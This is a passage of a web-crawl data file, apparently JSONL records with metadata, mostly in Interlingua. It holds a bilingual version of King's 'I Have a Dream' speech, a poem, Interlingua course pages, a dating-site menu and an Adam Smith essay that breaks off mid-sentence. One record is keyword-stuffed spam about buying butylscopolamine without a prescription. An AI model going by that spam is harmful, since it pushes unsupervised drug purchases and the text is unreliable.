material. Cento annos plus tarde, le Negro ancora langue in le angulos de societate american e se trova un exiliato in su proprie pais. Dunque nos ha venite ci hodie pro dramatizar un condition horrific.\nBut one hundred years later, the Negro still is not free. One hundred years later, the life of the Negro is still sadly crippled by the manacles of segregation and the chains of discrimination. One hundred years later, the Negro lives on a lonely island of poverty in the midst of a vast ocean of material prosperity. One hundred years later, the Negro is still languished in the corners of American society and finds himself an exile in his own land. And so we've come here today to dramatize a shameful condition.\nIn un senso nos ha venite al capital de nostre nation pro cassar un cheque. Quando le architectos de nostre republica scribeva le parolas magnific del Constitution e del Declaration de Independentia, illes signava un nota promissori al qual cata Americano era devenir un herede. Iste nota era un promissa que al tote homines serea garantite le derectos inalienabile de vita, libertate, e le persecution de felicitate.\nIn a sense we've come to our nation's capital to cash a check. When the architects of our republic wrote the magnificent words of the Constitution and the Declaration of Independence, they were signing a promissory note to which every American was to fall heir. This note was a promise that all men, yes, black men as well as white men, would be guaranteed the \"unalienable Rights\" of \"Life, Liberty and the pursuit of Happiness.\"\nIllo es obvie hodie que America ha fallate a iste nota promissori al minus in reguardo a su citatanos de color. In loco de honorar iste obligation sacre, America ha date le populo negre un mal cheque que ha retornate con le marca \"fundos insufficiente.\" Ma nos refusa a creder que le banca de justitia es fallite. Nos refusa a creder que il ha fundos insufficiente in le grande voltas de occasion de iste nation. Dunque nos ha venite pro cassar iste cheque -- un cheque que dara a nos sur demanda le richessas de libertate e del securitate de justitia.\nIt is obvious today that America has defaulted on this promissory note, insofar as her citizens of color are concerned. Instead of honoring this sacred obligation, America has given the Negro people a bad check, a check which has come back marked \"insufficient funds.\" But we refuse to believe that the bank of justice is bankrupt. We refuse to believe that there are insufficient funds in the great vaults of opportunity of this nation. And so, we've come to cash this check, a check that will give us upon demand the riches of freedom and the security of justice.\nNos anque ha venite a iste localitate santificate pro rememorar America del urgentia feroce de ora. Isto es nulle tempore pro occupar nos in le luxo de placar nos o pro prender le droga tranquilizante de gradualismo. Ora es le tempore pro levar nos ex le valle obscur e desolate de segregation al cammino illuminate del sol de justitia racial. Ora es le tempore pro aperir le portas de occasion a toto del infantes de Deo. Ora es le tempore pro levar nostre nation ex le arenas mobile de injustitia racial al rocca solide de fraternitate.\nWe have also come to this hallowed spot to remind America of the fierce urgency of Now. This is no time to engage in the luxury of cooling off or to take the tranquilizing drug of gradualism. Now is the time to make real the promises of democracy. Now is the time to rise from the dark and desolate valley of segregation to the sunlit path of racial justice. Now is the time to lift our nation from the quicksands of racial injustice to the solid rock of brotherhood. Now is the time to make justice a reality for all of God's children.\nIllo serea fatal pro le nation a clauder le oculos al urgentia del momento e a subestimar le determination del Negro. Iste estate suffocante de calor del discontento legitime del Negro non passara usque il ha un autumno vigorante de libertate e equalitate. Decenovecentos sexanta tres non es un fin, ma un initio. Istos qui spera que le Negro ha habite besonio de emitter vapor ora sera contente habera un evelia rude si le nation retorna a affaires como usual. Il habera ni reposo ni tranquilitate in America usque le derectos de citatano del Negro se concede. Le trombas de revolta continuera tremer le fundamentos de nostre nation usque le brillante die de justitia emerge.\nIt would be fatal for the nation to overlook the urgency of the moment. This sweltering summer of the Negro's legitimate discontent will not pass until there is an invigorating autumn of freedom and equality. Nineteen sixty-three is not an end, but a beginning. And those who hope that the Negro needed to blow off steam and will now be content will have a rude awakening if the nation returns to business as usual. And there will be neither rest nor tranquility in America until the Negro is granted his citizenship rights. The whirlwinds of revolt will continue to shake the foundations of our nation until the bright day of justice emerges.\nMa il ha qualque cosa que io debe dicer a mi populo qui sta sur le limine calide que duce a in le palatio de justitia. In le processo de ganiar nostre placia legitime nos non debe esser culpa de actos injuste. Que nos non cerca satisfacer nostre sete pro libertate per biber del tassa de acerbitate e odio.\nBut there is something that I must say to my people, who stand on the warm threshold which leads into the palace of justice: In the process of gaining our rightful place, we must not be guilty of wrongful deeds. Let us not seek to satisfy our thirst for freedom by drinking from the cup of bitterness and hatred.\nNos debe sempre dirige nostre lucta sur le nivello alte de dignitate e disciplina. Nos non debe lassar que nostre protesto creative degenera a in violentia physic. De nove e de nove nos debe levar nos al talias majestatic de incontrar fortia physic con fortia del anima.\nWe must forever conduct our struggle on the high plane of dignity and discipline. We must not allow our creative protest to degenerate into physical violence. Again and again, we must rise to the majestic heights of meeting physical force with soul force.\nLe nove militantia meraviliose que ha inglutite le communitate del Negro non debe ducer que nos diffider de tote gentes blanc, pro multo de nostre fratres blanc, como il es evidente per lor presentia ci hodie, ha venite al comprension que lor destino es ligate con nostre destino e lor libertate es inextractabilemente ligate a nostre libertate.\nThe marvelous new militancy which has engulfed the Negro community must not lead us to a distrust of all white people, for many of our white brothers, as evidenced by their presence here today, have come to realize that their destiny is tied up with our destiny. And they have come to realize that their freedom is inextricably bound to our freedom.\nNos non pote ir sol.\nWe cannot walk alone.\nE durante que nos i, nos debe facer le fidantia que nos marchara avante.\nAnd as we walk, we must make the pledge that we shall always march ahead.\nNos non pote retornar.\nWe cannot turn back.\nIl ha los qui demanda del devotos de derectos civil, \"Quando sera vos contente?\" Nos nunquam pote esser contente durante que nostre corpores, pesante con le fatiga de viages, non pote ganiar albergo in le moteles del stratas e le hoteles del citates. Nos non pote esser contente durante que le mobilitate basic del Negro es de un ghetto plus parve a un plus grande. Nos nunquam pote esser contente durante que un Negro in Mississippi non pote votar e un Negro in Nove York crede qui ille ha nil pro le qual votar. No, no, nos non son contente, e nos non sera contente usque justitia flue como aquas, rectitude como un rivo potente.\nThere are those who are asking the devotees of civil rights, \"When will you be satisfied?\" We can never be satisfied as long as the Negro is the victim of the unspeakable horrors of police brutality. We can never be satisfied as long as our bodies, heavy with the fatigue of travel, cannot gain lodging in the motels of the highways and the hotels of the cities. We cannot be satisfied as long as a Negro in Mississippi cannot vote and a Negro in New York believes he has nothing for which to vote. No, no, we are not satisfied, and we will not be satisfied until \"justice rolls down like waters, and righteousness like a mighty stream.\"\nIo non so inattentive que alique de vos ha venite ci ex grande provas e tribulationes. Alique de vos ha venite fresc de cellas stricte. Alique de vos ha venite de areas ubi vostre recerca pro libertate lassava vos battite per le tempestas de persecution e stupefacite per le ventos de brutalitate policiari. Vos ha essite le veteranos de suffrentia creative. Continua laborar con le fide que suffrentia sin ganiate es redemptive. Retorna a Mississippi, retorna a Alabama, retorna a Georgia, retorna a Louisiana, retorna al quartieros basse e ghettos de nostre citates del nord, sapiente que de un modo o un altere iste situation pote esser e sera cambiate.\nI am not unmindful that some of you have come here out of great trials and tribulations. Some of you have come fresh from narrow jail cells. And some of you have come from areas where your quest -- quest for freedom left you battered by the storms of persecution and staggered by the winds of police brutality. You have been the veterans of creative suffering. Continue to work with the faith that unearned suffering is redemptive. Go back to Mississippi, go back to Alabama, go back to South Carolina, go back to Georgia, go back to Louisiana, go back to the slums and ghettos of our northern cities, knowing that somehow this situation can and will be changed.\nQue nos non rolar nos in le valle de despero, io dice a vos hodie, mi amicos.\nLet us not wallow in the valley of despair, I say to you today, my friends.\nE in despecto del difficultates e frustrationes del momento, io ancora ha un sonio. Illo es un sonio radicate profundemente in le sonio american.\nAnd so even though we face the difficulties of today and tomorrow, I still have a dream. It is a dream deeply rooted in the American dream.\nIo ha un sonio que un die iste nation se eveliara e realizara le ver signification de su credo: \"Nos mantene que iste veritates es evidente per se: que tote homines son create equal.\"\nI have a dream that one day this nation will rise up and live out the true meaning of its creed: \"We hold these truths to be self-evident, that all men are created equal.\"\nIo ha un sonio que un die sur le collinas rubie de Georgia le filios de previe sclavos e le filios de previe proprietarios de sclavos potera seder se insimul a un tabula de fraternitate.\nI have a dream that one day on the red hills of Georgia, the sons of former slaves and the sons of former slave owners will be able to sit down together at the table of brotherhood.\nIo ha un sonio que un die mesmo le stato de Mississippi, un stato deserte, suffocante con le calor de injustitia e oppression, se transformara a in un oasis de libertate e justitia.\nI have a dream that one day even the state of Mississippi, a state sweltering with the heat of injustice, sweltering with the heat of oppression, will be transformed into an oasis of freedom and justice.\nIo ha un sonio que mi quatro infantes vivera un die in un nation ubi illes non sera estimate per le color de lor pelle ma per le contento de lor character.\nI have a dream that my four little children will one day live in a nation where they will not be judged by the color of their skin but by the content of their character.\nIo ha un sonio hodie.\nI have a dream today!\nIo ha un sonio que un die le stato de Alabama, le labios del cuje governator son tosto guttante con le parolas de \"interposition\" e \"nullification\", se transformara a in un situation ubi parve pueros nigre e pueras nigre potera junger se le manos con parve pueros blanc e pueras blanc e ir insimul como sorores e fratres.\nI have a dream that one day, down in Alabama, with its vicious racists, with its governor having his lips dripping with the words of \"interposition\" and \"nullification\" -- one day right there in Alabama little black boys and black girls will be able to join hands with little white boys and white girls as sisters and brothers.\nIo ha un sonio hodie.\nI have a dream today!\nIo ha un sonio que un die cata valle se exaltara, cata collina e monte se abbassara, le placias aspere se facera plan, e le placias torte se facera recte, e le gloria del Senior se revelara, e tote carne lo videra insimul.\nI have a dream that one day every valley shall be exalted, and every hill and mountain shall be made low, the rough places will be made plain, and the crooked places will be made straight; \"and the glory of the Lord shall be revealed and all flesh shall see it together.\"²\nIsto es nostre sperantia. Isto es le fide con le qual io retorna al Sud.\nThis is our hope, and this is the faith that I go back to the South with.\nCon iste fide nos potera excavar del monte de despero un petra de sperantia. Con iste fide nos potera transformar le discordos tintinnante de nostre nation a in un belle symphonia de fraternitate. Con iste fide nos potera laborar insimul, precar insimul, luctar insimul, vader a prision insimul, levar nos pro libertate insimul, sapiente que nos sera libere un die.\nWith this faith, we will be able to hew out of the mountain of despair a stone of hope. With this faith, we will be able to transform the jangling discords of our nation into a beautiful symphony of brotherhood. With this faith, we will be able to work together, to pray together, to struggle together, to go to jail together, to stand up for freedom together, knowing that we will be free one day.\nIsto sera le die quando tote del infantes de Deo potera cantar con un nove signification,\nAnd this will be the day -- this will be the day when all of God's children will be able to sing with new meaning:\n\"Patria mie qu'es, focar del liberes, cant' io de te.\nMy country 'tis of thee, sweet land of liberty, of thee I sing.\nPais ubi patres cuba, pais que pel'grinos ama.\nLand where my fathers died, land of the Pilgrim's pride,\nQue tote monte resona, Liberate.\"\nFrom every mountainside, let freedom ring!\nE a fin que America deveni un grande nation isto debe devenir ver.\nAnd if America is to be a great nation, this must become true.\nDunque que libertate resona del culmines del collinas de Nove Hampshire.\nAnd so let freedom ring from the prodigious hilltops of New Hampshire.\nQue libertate resona del montes forte de Nove York.\nLet freedom ring from the mighty mountains of New York.\nQue libertate resona del Alleghenias altiante de Pennsylvania!\nLet freedom ring from the heightening Alleghenies of Pennsylvania.\nQue libertate resona del Roccoses coperite de nive de Colorado!\nLet freedom ring from the snow-capped Rockies of Colorado.\nQue libertate resona del culmines undante de California!\nLet freedom ring from the curvaceous slopes of California.\nMa non solmente illo:\nBut not only that:\nQue libertate resona de Monte Petra de Georgia!\nLet freedom ring from Stone Mountain of Georgia.\nQue libertate resona de Monte Surveliantia de Tennessee!\nLet freedom ring from Lookout Mountain of Tennessee.\nQue libertate resona de tote collina e tote monticulo del talpa de Mississippi.\nLet freedom ring from every hill and molehill of Mississippi.\nDe tote monte, que libertate resona.\nFrom every mountainside, let freedom ring.\nQuando nos lassa que libertate resona, quando nos lassa que illo resona de tote village e tote urbetto, de tote stato e tote citate, nos potera hastar ille die quando tote del infantes de Deo, homines nigre e homines blanc, judeos e gentiles, protestantes e catholiches, potera junger se le manos e canta in le parolas del vetule canto spiritual de Negros:\nAnd when this happens, when we allow freedom ring, when we let it ring from every village and every hamlet, from every state and every city, we will be able to speed up that day when all of God's children, black men and white men, Jews and Gentiles, Protestants and Catholics, will be able to join hands and sing in the words of the old Negro spiritual:\n\"Libere al fin! libere al fin!\nFree at last! free at last!\nGratias Deo omnipotente, nos son libere al fin!\"\nThank God Almighty, we are free at last!","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/interlingua.fandom.com\/wiki\/Io_ha_un_sonio?mobileaction=toggle_view_mobile","date":"2021-09-27T09:53:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780058415.93\/warc\/CC-MAIN-20210927090448-20210927120448-00360.warc.gz","language":"ina","language_score":0.7660986781,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"ina_Latn_score\": 0.76609867811203, \"eng_Latn_score\": 0.18486694991588593}","num_words":4648,"character_repetition_ratio":0.05,"word_repetition_ratio":0.018,"special_characters_ratio":0.2,"stopwords_ratio":0.029,"flagged_words_ratio":0.0,"lang_id_score":0.759,"perplexity_score":2227.5,"cluster_detection":-1} +{"text":"Citas ateo Citas hindú Sitios de citas adventistas Sitios de citas bautistas Sitios de citas budistas Sitios de citas católicas Sitios de citas cristianas Sitios de citas espirituales Sitios de citas judías Sitios de citas luteranos Sitios de citas musulmanas Sitios de citas sij Sitios de citas SUD Sitios de citas Wiccan Buscar Reiniciar","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/datinghearts.org\/es\/religious-dating-sites-es\/","date":"2021-09-22T02:25:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057303.94\/warc\/CC-MAIN-20210922011746-20210922041746-00208.warc.gz","language":"ina","language_score":0.3880750537,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.388075053691864, \"mwl_Latn_score\": 0.23216158151626587, \"spa_Latn_score\": 0.1652842015028, \"glg_Latn_score\": 0.04243294149637222, \"rej_Latn_score\": 0.027401115745306015, \"srd_Latn_score\": 0.01939830742776394, \"nhg_Latn_score\": 0.015676336362957954, \"yua_Latn_score\": 0.01120046153664589}","num_words":107,"character_repetition_ratio":0.373,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.294,"perplexity_score":2775.2,"cluster_detection":-1} +{"text":"Idea tarde le 1 de octobre, tentativas le 2, succedite le\n|yo non esseva victima||–||in mi juventute|\n|de tormentar o bullying||–||secundo mi memoria|\n|evento occasional||–||solmente accidental|\n|episodic|\n|non le schola era||–||le scena del evento|\n|potius le area||–||parchesc que il habeva|\n|ante le edificio||–||un stagno belle e grande|\n|e con cygnos|\n|etages e unda verde||–||ferraliero e restos|\n|le annos initial||–||de cata un sovente|\n|es plen de ideas, themas||–||usque elaborar lo|\n|finalmente|\n|joculo de infante||–||un batello, un speedboat|\n|longor de plus que un pede||–||largessa de un mano|\n|gris e blanc le plastico||–||le skiator aquatic|\n|inusate|\n|un motor electric||–||magnetes permanente|\n|pro propulsar le nave||–||parve jalne helice|\n|le tempo multo minus||–||que attinge un real|\n|sin le spuma|\n|le fonte energetic||–||un batteria alora|\n|de carbon e zinc||–||recargar esseva|\n|ancora impossibile||–||un hobby ergo un poco|\n|tro costose|\n|quatro volts e medie||–||tres componentes intra|\n|un forma platte que on||–||hodie a pena vide|\n|fixe governaculo||–||jalne e adjustabile|\n|pro un curva|\n|in le previe seculo||–||sexanta-tal, ya tunc|\n|telecommando radio-||–||graphic remaneva|\n|ancora tro costose||–||ben que technicamente|\n|disponibile|\n|como illes me||–||vexava, le duo pueros?|\n|confiscava me||–||le pila del batello|\n|jectante isto preter||–||me le un al altere|\n|es un joco?|\n|es un joco, si||–||ma tunc a me incognite|\n|e non appreciate||–||sin cambiar le rolos|\n|un es victima||–||le alteres tormenta|\n|injustitia|\n|yo deberea forsan||–||o naturalmente|\n|haber battite un||–||terrente assi le altere|\n|ma isto non es io||–||modello de harmonia|\n|naive|\n|proque competer||–||le un plus forte e celere|\n|si on anque poterea||–||insimul delectar se|\n|in un barca in un||–||stagno automovente|\n|meravilia|","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/rudhar.com\/lingtics\/intrlnga\/poesia\/batello.htm","date":"2021-10-16T14:35:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323584886.5\/warc\/CC-MAIN-20211016135542-20211016165542-00664.warc.gz","language":"ina","language_score":0.9709857702,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.9709857702255249}","num_words":355,"character_repetition_ratio":0.021,"word_repetition_ratio":0.0,"special_characters_ratio":0.29,"stopwords_ratio":0.099,"flagged_words_ratio":0.0,"lang_id_score":0.971,"perplexity_score":5368.7,"cluster_detection":-1} +{"text":"Norvegianos - e le altere scandinavos - pote ora sequer un curso de interlingua in 15 lectiones per Internet.\nLe Union Norvegian pro Interlingua ha publicate \"Interlingua kurs for begynnere\" (Curso de interlingua pro comenciantes). Le curso es un version norvegian del curso scribite pro daneses per Thomas Breinstrup, le secretario del Union Danese pro Interlingua. Illo es publicate in formato PDF lection post lection, assi que on pote discargar lo e apprender le circa 750 parolas. Le prime dece lectiones forma un historia complete del familia Hansen, qui va a Scotia pro visitar lor amicos. Il ha explicationes grammatic e exercitios pro cata lection. Le ultime cinque lectiones es conversationes plus longe.\nÅsmund Knutson Aukland, presidente del Union Norvegian pro Interlingua, ha traducite e adjustate le version norvegian del curso que es illustrate per Henrik Breinstrup, le patre del autor.\nExiste - ma solmente in danese, que es multo similar al norvegiano - un libro de exercitios extra pro le curso.\nLe 15 lectiones ha essite registrate in formato MP3 per Thomas Breinstrup, assi que on pote ascoltar le textos in interlingua.\nTote le materiales del curso es ponite a disposition libere ma remane coperite per le derecto de autor. Isto significa que on naturalmente pote usar lo personalmente, ma que il non es permittite distribuer lo a alteres, ni publicar lo in altere manieras, p.ex. per altere sitos in Internet o sur CDs\/DVDs, sin le permission in scripto del possessores del derecto de autor.\n|Annexo||Grandor|\n|Prefacio - Pronunciation.pdf||34.23 KB|\n|Lection 1.pdf||133.36 KB|\n|Lection 1.mp3||1.78 MB|\n|Lection 2.pdf||317.51 KB|\n|Lection 2.mp3||2.29 MB|\n|Lection 3.pdf||156.7 KB|\n|Lection 3.mp3||1.8 MB|\n|Lection 4.pdf||159.87 KB|\n|Lection 4.mp3||1.51 MB|\n|Lection 5.pdf||108.61 KB|\n|Lection 5.mp3||1.46 MB|\n|Lection 6.pdf||210.44 KB|\n|Lection 6.mp3||1.68 MB|\n|Lection 7.pdf||157.28 KB|\n|Lection 7.mp3||1.5 MB|\n|Lection 8.pdf||173.05 KB|\n|Lection 8.mp3||1.77 MB|\n|Lection 9.pdf||190.91 KB|\n|Lection 9.mp3||2.07 MB|\n|Lection 10.pdf||154.54 KB|\n|Lection 10.mp3||2.31 MB|\n|1-me lection.pdf||222.02 KB|\n|1-me lection.mp3||3.87 MB|\n|2-nde lection.pdf||219.01 KB|\n|2-nde lection.mp3||3.08 MB|\n|3-tie lection.pdf||169.04 KB|\n|3-tie lection.mp3||2.64 MB|\n|4-te lection.pdf||169.24 KB|\n|4-te lection.mp3||3.55 MB|\n|5-te lection.pdf||31.81 KB|\n|5-te lection.mp3||3.21 MB|\n|Grammatica.pdf||39.01 KB|\n|Clave.pdf||21.25 KB|\n|Vocabulario.pdf||25.85 KB|","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/www.interlingua.com\/no\/curso\/","date":"2022-05-25T16:34:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662588661.65\/warc\/CC-MAIN-20220525151311-20220525181311-00796.warc.gz","language":"ina","language_score":0.9903404713,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"ina_Latn_score\": 0.9903404712677002}","num_words":524,"character_repetition_ratio":0.104,"word_repetition_ratio":0.256,"special_characters_ratio":0.32,"stopwords_ratio":0.011,"flagged_words_ratio":0.0,"lang_id_score":0.986,"perplexity_score":2851.9,"cluster_detection":-1} +{"text":"Perché già conoscete Interlingua? Perché Interlingua è basata sul vocabolario delle parole latine che ancora esistono nelle lingue europee. Anche senza conoscerla un italiano comprende Interlingua, \"a prime vista\". Un italiano, infatti, ha già a sua disposizione un vasto vocabolario di Interlingua. Lo studio della grammatica è poi facilissimo. Per una buona conoscenza di base della grammatica sono sufficienti le quattro pagine contenute nel documento a cui è possibile accedere da questa pagina.\nBuon e \"facile\" studio, quindi!\nLe Union Mundial pro Interlingua ora publica \"Corso di interlingua\". Isto es le traduction italian, preparate per Italo Notarstefano, basate super le version original in danese scribite per Thomas Breinstrup, le secretario del Union Danese pro Interlingua. Le curso ha devenite un grande successo como curso electronic; actualmente existe versiones in danese, norvegiano, anglese, germano, italiano e espaniol.\nLe curso es publicate in formato PDF lection post lection, assi que on pote discargar lo e apprender le circa 750 parolas. Le prime dece lectiones forma un historia complete del familia Hansen, qui va a Scotia pro visitar su amicos. Il ha explicationes grammatic e exercitios pro cata lection. Le ultime cinque lectiones es conversationes plus longe.\nLe curso es illustrate per Henrik Breinstrup, le patre del autor.\nTote le materiales del curso es ponite a disposition libere ma remane coperite per le derecto de autor. Isto significa que on naturalmente pote usar lo personalmente, ma que il non es permittite distribuer lo a alteres, ni publicar lo in altere manieras, p.ex. per altere sitos in Internet o sur CDs\/DVDs, sin le permission in scripto del possessores del derecto de autor.\nAnnexo\n|Grandor|\n|Lection 1.pdf||136.52 KB|\n|Lection 2.pdf||320.47 KB|\n|Lection 3.pdf||157.32 KB|\n|Lection 4.pdf||161.89 KB|\n|Lection 5.pdf||111.08 KB|\n|Lection 6.pdf||214.05 KB|\n|Lection 7.pdf||160.31 KB|\n|Lection 8.pdf||179.21 KB|\n|Lection 9.pdf||194.82 KB|\n|Lection 10.pdf||156.29 KB|\n|1-me lection.pdf||224.58 KB|\n|2-nde lection.pdf||221.77 KB|\n|3-tie lection.pdf||171.77 KB|\n|4-te lection.pdf||170.5 KB|\n|5-te lection.pdf||33.18 KB|\n|Clave.pdf||23.44 KB|\n|Grammatica.pdf||38.89 KB|\n|Vocabulario.pdf||30.27 KB|\n|Conversation1.mp3||2.78 MB|\n|Conversation2.mp3||2.23 MB|\n|Conversation3.mp3||2.67 MB|\n|Conversation4.mp3||3.24 MB|\n|Conversation5.mp3||2.52 MB|\n|Lection01.mp3||1.14 MB|\n|Lection02.mp3||1.52 MB|\n|Lection03.mp3||1.35 MB|\n|Lection04.mp3||1.15 MB|\n|Lection05.mp3||1.21 MB|\n|Lection06.mp3||1.67 MB|\n|Lection07.mp3||1.3 MB|\n|Lection08.mp3||1.53 MB|\n|Lection09.mp3||1.61 MB|\n|Lection10.mp3||2.06 MB|","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/www.interlingua.com\/ita\/curso\/","date":"2022-05-25T15:54:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662588661.65\/warc\/CC-MAIN-20220525151311-20220525181311-00625.warc.gz","language":"ina","language_score":0.9403960109,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"ina_Latn_score\": 0.9403960108757019, \"ita_Latn_score\": 0.019203921779990196, \"ile_Latn_score\": 0.011480078101158142}","num_words":556,"character_repetition_ratio":0.09,"word_repetition_ratio":0.218,"special_characters_ratio":0.298,"stopwords_ratio":0.02,"flagged_words_ratio":0.0,"lang_id_score":0.917,"perplexity_score":3816.3,"cluster_detection":-1} +{"text":"puedo comprar butylscopolamine sin receta en la farmacia. Comprar butylscopolamine Generico Entre Aqui Ahora Para Ordenar Butylscopolamine Generica En Nuestra Farmacia Certificada butylscopolamine comprar sin receta urgente. Comprar butylscopolamine en linea donde puedo comprar butylscopolamine online comprar butylscopolamine farmacia madrid en donde puedo comprar butylscopolamine en mexico puedo comprar butylscopolamine sin receta en la farmacia se puede comprar butylscopolamine sin receta en farmacias en mexico donde comprar butylscopolamine en tijuana precio del butylscopolamine jet butylscopolamine precio farmacia en argentina comprar butylscopolamine generico en 24 horas comprar butylscopolamine generico online comprar butylscopolamine santo domingo comprar butylscopolamine original butylscopolamine se compra sin receta butylscopolamine de venta en honduras donde puedo comprar butylscopolamine en mallorca comprar butylscopolamine por paypal comprar butylscopolamine paco butylscopolamine precio en dolares Honduras comprar butylscopolamine Espana farmacia comprar butylscopolamine recomendado butylscopolamine comprar chile comprar butylscopolamine medicfarm comprar butylscopolamine sin receta medica comprar butylscopolamine oral comprar butylscopolamine consta se puede comprar butylscopolamine en una farmacia sin receta Espana comprar butylscopolamine badajoz butylscopolamine precio farmacia argentina donde comprar butylscopolamine peru comprar butylscopolamine en farmacia con receta comprar butylscopolamine cochabamba comprar butylscopolamine sin receta contrareembolso comprar butylscopolamine cucuta sin formula butylscopolamine venta en mexico onde comprar butylscopolamine no paraguai donde puedo comprar butylscopolamine argentina butylscopolamine venta personalizada comprar butylscopolamine en farmacia sin receta medica quiero comprar butylscopolamine por internet que necesito para comprar butylscopolamine Republica de El Salvador","id":"","dump":"CC-MAIN-2023-40","url":"http:\/\/www.homedesign.de\/threads\/puedo-comprar-butylscopolamine-sin-receta-en-la-farmacia-donde-puedo-comprar-butylscopolamine.60055\/","date":"2023-09-28T15:00:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510412.43\/warc\/CC-MAIN-20230928130936-20230928160936-00097.warc.gz","language":"ina","language_score":0.5552470684,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.5552470684051514, \"spa_Latn_score\": 0.15200762450695038, \"nld_Latn_score\": 0.038229357451200485, \"nhg_Latn_score\": 0.027493620291352272, \"huu_Latn_score\": 0.020929044112563133, \"cbk_Latn_score\": 0.0179273784160614, \"tzh_Latn_score\": 0.01710030809044838, \"frp_Latn_score\": 0.01694946549832821, \"swe_Latn_score\": 0.014014857821166515, \"mwl_Latn_score\": 0.011440006084740162}","num_words":587,"character_repetition_ratio":0.398,"word_repetition_ratio":0.093,"special_characters_ratio":0.116,"stopwords_ratio":0.02,"flagged_words_ratio":0.0,"lang_id_score":0.546,"perplexity_score":18623.2,"cluster_detection":-1} +{"text":"Monday, March 30, 2009\n(Languages of this post: Interlingua, Spanish, English)\nAdam Smith es considerate le \"patre del capitalismo\", ma que pensarea ille de iste crise economic?\nDurante un conferentia in le Universitate de Glasgow pro celebrar le 250me anniversario del publication de su libro \"Le theoria del sentimentos moral\", un renominate academic, Christopher Berry, le vicedecano del facultate de Derecto, Commercio e Scientias Social del Universitate de Glasgow, insiste que Smith se haberea disillusionate al vider como functiona le capitalism moderne.\nDe un maniera apparentemente perverse, le actual clima financiari\/financial, que ha producite un certe interesse renovate in Marx, anque sta a generar novemente le attention al legato de Smith, \"le patre del capitalismo\", le advocato pro le \"fortias del mercato\", le inimico del regulation governamental, e le credente in alique appellate \"le mano invisibile\" que produce resultatos economic optime.\nMa si nos questionarea que haberea pensate \"Smith\" del \"pachettos de prestos assecurate\" e del \"debitos toxic\" e altere cosas simile, su responsa haberea essite securamente que iste practicas iva\/vadeva contra omne lo que ille essayava a inseniar.\nSmith esseva ante que ullo un maestro. Ille esseva un professor de logica e postea un professor de philosophia moral in le Universitate de Glasgow, ubi ille habeva studiate.\nIn su \"Sentimentos moral\", Smith parla sur le philosophia moral non como le delination de unes formulas rational o divin ma como le forma de capturar le interaction del sentimentos, emotiones, o opiniones human in scenarios real del vita.\nIn multe sentitos, illo es un libro de sociologia e de psychologia social e moral. Illo significa que nos debe comprender como le societates e le individuos functiona non como entitates separate ma como parte de un complexo total.\nCertemente, un ex le ideas clave del libro es le opposition de Smith al vision de como le moralitate o le virtute pote reducer se al interesse personal, como si le personas individual operava in isolation preoccupate solmente con lor proprie ben-esser.\nDirectemente in su comenciamento le libro declara que le experientia human quotidian proba que illo es false. \"Pro plus egoista que on pote vider le homine\", scribe Smith, \"existe evidentemente in su natura alicun principios que promove su interesse in le ben-esser de alteres e face que isto sia necesse pro ille, ben que ille non deriva de illo ullo plus que le placer de contemplar lo.\"\nPro Smith, le actual crise demonstra non le defectos intrinsic del systema ma lo que occurre quando su dimension moral es eliminate e neglegite, e ille pensava que viver in le povressa esseva como viver condemnate a facer labores limitate e repetitive (como affilar clavos plure milles de vices cata die), alique que damnifica nostre virtutes mental e moral.\nSmith nunquam separava le conducta economic del contexto moral in le qual illo occurre. Su puncto de vista sur le moralitate economic non exclude le possibilitate del regulation governamental del mercatos economic. Assi, iste affilatores de clavos merita intervention public (via le education) pro compensar le damno causate per lor empleo.\nE ille parlava multo sur le bancas, cuje conducta ille evaluava non in particular ma in general. Con un incredibile comprension, ille scribeva in \"Le ricchessa del nationes\" que ben que le regulationes poteva limitar le libertate del bancheros pro facer lo que illes voleva, illos esseva totalmente justificate, del mesme maniera in que le obligation de instalar muros pro evitar que se extende un incendio limita le libertate del architectos.\nSmith, obviemente, non es Marx (ille prefere un systema libere), ma le famose critica facite per Marx de un capitalismo que elimina completamente le possibilitate de un vita satisfactori pro su empleatos es un echo del classe de critica que Smith jam habeva facite.\n---\nAdam Smith y la crisis económica contemporánea\nAdam Smith es considerado el \"padre del capitalismo\", pero ¿qué pensaría de esta crisis económica?\nDurante una conferencia en la Universidad de Glasgow para celebrar el 250º aniversario de la publicación de su libro \"La teoría de los sentimientos morales\", un renombrado académico, Christopher Berry, el vicedecano de la facultad de Derecho, Comercio y Ciencias Sociales de la Universidad de Glasgow, insiste que Smith se habría desilusionado al ver cómo funciona el capitalismo moderno.\nDe una manera aparentemente perversa, el actual clima financiero, que ha generado cierto renovado interés en Marx, también está llamando nuevamente la atención al legado de Smith, \"el padre del capitalismo\", el abogado de las \"fuerzas del mercado\", el enemigo de la regulación gubernamental y el creyente de algo llamado \"la mano invisible\" que produce resultados económicos óptimos.\nPero si preguntáramos que habría pensado Smith de los \"paquetes de préstamos asegurados\" o de las \"deudas tóxicas\" y otras cosas semejantes, su respuesta habría sido, seguramente que estas prácticas iban en contravía con todo lo que trató de enseñar.\nSmith era antes que nada un maestro. Era profesor de lógica y luego fue profesor de filosofía moral en la Universidad de Glasgow, donde había estudiado.\nEn los \"Sentimientos morales\", Smith trata la filosofía moral no como la delineación de unas fórmulas racionales o divinas 